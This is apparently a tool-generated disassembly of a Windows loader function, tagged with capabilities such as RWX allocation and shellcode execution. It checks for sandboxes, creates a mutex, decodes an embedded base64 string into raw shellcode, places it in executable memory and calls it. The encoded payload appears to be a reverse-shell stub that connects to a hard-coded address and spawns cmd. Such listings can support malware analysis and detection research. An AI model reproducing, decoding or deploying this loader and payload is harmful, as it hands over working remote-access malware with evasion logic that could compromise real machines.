Function at 0x1400019e4
Capabilities:
Allocate or change rwx memory
Check mutex and terminate process on windows
Check mutex on windows
Execute shellcode via indirect call
Terminate process

Disassembly:
push rbp
push r12
push rdi
push rsi
push rbx
sub rsp, 0x5e0
lea rbp, [rsp + 0x80]
call dbg.__main
mov ecx, 0xea60
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.gTM__
mov qword [rbp + 0x550], rax
mov eax, 0xf9ffffff
cmp rax, qword [rbp + 0x550]
jb 0x140001a30
mov ecx, 0
call sym.exit
call sym.gTSge__
mov qword [rbp + 0x548], rax
movabs rax, 0x27fffffff
cmp rax, qword [rbp + 0x548]
jb 0x140001a59
mov ecx, 0
call sym.exit
call sym.gCCC__
mov dword [rbp + 0x544], eax
cmp dword [rbp + 0x544], 1
ja 0x140001a77
mov ecx, 0
call sym.exit
lea r8, str.fakeMutex
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
call rax
mov qword [rbp + 0x538], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
sete al
test al, al
je 0x140001ab8
mov r12d, 0
jmp 0x140001de8
call sym.isSbed__
test al, al
je 0x140001acb
mov ecx, 0
call sym.exit
lea rax, [rbp + 0x20]
lea rdx, str.ZmM0ODgzZTRmMGU4YzAwMDAwMDA0MTUxNDE1MDUyNTE1NjQ4MzFkMjY1NDg4YjUyNjA0ODhiNTIxODQ4OGI1MjIwNDg4YjcyNTA0ODBmYjc0YTRhNGQzMWM5NDgzMWMwYWMzYzYxN2MwMjJjMjA0MWMxYzkwZDQxMDFjMWUyZWQ1MjQxNTE0ODhiNTIyMDhiNDIzYzQ4MDFkMDhiODA4ODAwMDAwMDQ4ODVjMDc0Njc0ODAxZDA1MDhiNDgxODQ0OGI0MDIwNDkwMWQwZTM1NjQ4ZmZjOTQxOGIzNDg4NDgwMWQ2NGQzMWM5NDgzMWMwYWM0MWMxYzkwZDQxMDFjMTM4ZTA3NWYxNGMwMzRjMjQwODQ1MzlkMTc1ZDg1ODQ0OGI0MDI0NDkwMWQwNjY0MThiMGM0ODQ0OGI0MDFjNDkwMWQwNDE4YjA0ODg0ODAxZDA0MTU4NDE1ODVlNTk1YTQxNTg0MTU5NDE1YTQ4ODNlYzIwNDE1MmZmZTA1ODQxNTk1YTQ4OGIxMmU5NTdmZmZmZmY1ZDQ5YmU3NzczMzI1ZjMzMzIwMDAwNDE1NjQ5ODllNjQ4ODFlY2EwMDEwMDAwNDk4OWU1NDliYzAyMDAyMGZjYzBhODAxYjU0MTU0NDk4OWU0NGM4OWYxNDFiYTRjNzcyNjA3ZmZkNTRjODllYTY4MDEwMTAwMDA1OTQxYmEyOTgwNmIwMGZmZDU1MDUwNGQzMWM5NGQzMWMwNDhmZmMwNDg4OWMyNDhmZmMwNDg4OWMxNDFiYWVhMGZkZmUwZmZkNTQ4ODljNzZhMTA0MTU4NGM4OWUyNDg4OWY5NDFiYTk5YTU3NDYxZmZkNTQ4ODFjNDQwMDIwMDAwNDliODYzNmQ2NDAwMDAwMDAwMDA0MTUwNDE1MDQ4ODllMjU3NTc1NzRkMzFjMDZhMGQ1OTQxNTBlMmZjNjZjNzQ0MjQ1NDAxMDE0ODhkNDQyNDE4YzYwMDY4NDg4OWU2NTY1MDQxNTA0MTUwNDE1MDQ5ZmZjMDQxNTA0OWZmYzg0ZDg5YzE0Yzg5YzE0MWJhNzljYzNmODZmZmQ1NDgzMWQyNDhmZmNhOGIwZTQxYmEwODg3MWQ2MGZmZDViYmYwYjVhMjU2NDFiYWE2OTViZDlkZmZkNTQ4ODNjNDI4M2MwNjdjMGE4MGZiZTA3NTA1YmI0NzEzNzI2ZjZhMDA1OTQxODlkYWZmZDU
mov ecx, 0x99
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov dword [rbp + 0x534], 0x4cd
sub dword [rbp + 0x534], 1
lea rax, str.Encoded_string_:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp + 0x20]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x1400069c0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp + 0x517]
mov qword [rbp + 0x518], rax
nop
nop
mov edx, dword [rbp + 0x534]
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.base64Decoder_char__int_
mov rdx, rax
lea rcx, [rbp + 0x517]
lea rax, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x517]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, str.Decoded_string_:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp - 0x60]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, rax
mov rax, qword [0x1400069c0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x20]
lea rdx, [rbp - 0x40]
mov rcx, rax
call sym.processStringIntoGroupsWithHexPairs_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x4f0]
mov rcx, rax
call fcn.140003c10
mov qword [rbp + 0x558], 0
jmp 0x140001c73
mov rax, rbp
mov rcx, qword [rbp + 0x558]
lea rdx, [rbp - 0x40]
mov r9d, 2
mov r8, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::substr_unsigned_long_long__unsigned_long_long__const
mov rax, rbp
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sym.strtoul
mov byte [rbp + 0x4ef], al
lea rdx, [rbp + 0x4ef]
lea rax, [rbp + 0x4f0]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.push_back_unsigned_char_const_
mov rax, rbp
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
add qword [rbp + 0x558], 2
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::size___const
cmp qword [rbp + 0x558], rax
setb al
test al, al
jne 0x140001c07
lea rax, [rbp + 0x4f0]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x528], rax
cmp qword [rbp + 0x528], 0
jne 0x140001d06
lea rax, str.Memory_allocation_failed.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x1400069c0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov r12d, 0xffffffff
mov ebx, 0
jmp 0x140001d76
lea rax, [rbp + 0x4f0]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov rbx, rax
lea rax, [rbp + 0x4f0]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov rdx, rax
mov rax, qword [rbp + 0x528]
mov r8, rbx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp + 0x528]
mov qword [rbp + 0x520], rax
mov rax, qword [rbp + 0x520]
call rax
mov rax, qword [rbp + 0x528]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ebx, 1
lea rax, [rbp + 0x4f0]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
cmp ebx, 1
jne 0x140001d91
mov ebx, 1
jmp 0x140001d96
mov ebx, 0
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140001dae
mov ebx, 1
jmp 0x140001db3
mov ebx, 0
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140001dcb
mov ebx, 1
jmp 0x140001dd0
mov ebx, 0
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140001de8
nop
mov r12d, 0
mov eax, r12d
jmp 0x140001e66
add rsp, 0x5e0
pop rbx
pop rsi
pop rdi
pop r12
pop rbp
ret